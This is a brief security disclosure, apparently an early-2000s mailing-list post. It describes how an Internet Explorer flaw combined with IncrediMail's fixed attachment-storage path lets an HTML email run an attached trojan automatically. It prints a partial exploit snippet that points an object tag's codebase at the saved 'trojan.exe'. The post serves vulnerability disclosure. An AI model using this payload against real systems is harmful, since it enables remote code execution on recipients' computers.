MSIE vulnerability exploitable with IncrediMail

        A Microsoft Internet Explorer vulnerability was found by GreyMagic
(http://security.greymagic.com/adv/gm001-ie/). With IncrediMail, it's
possible to gain a remote access on a computer.

        Incredimail save automatically email attachements in this directory 
(on Windows 2000 Professionnal) :
C:\Program Files\IncrediMail\Data\Identities\{42D00B20-479C-11d4-9706-00105A40931C}\Message Store\Attachments

        So if you send an html email with the GreyMagic vulnerability and a 
trojan in attachments, it will be save in this directory. 

The html mail contains this code :

 <span datasrc="#oExec" datafld="exploit" dataformatas="html"></span>
<xml id="oExec">
            <object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="C:/Program 
Files/IncrediMail/Data/Identities/{42D00B20-479C-11d4-9706-00105A40931C}/Message Store/Attachments/trojan.exe"></object>

        So, the trojan is executed automatically.
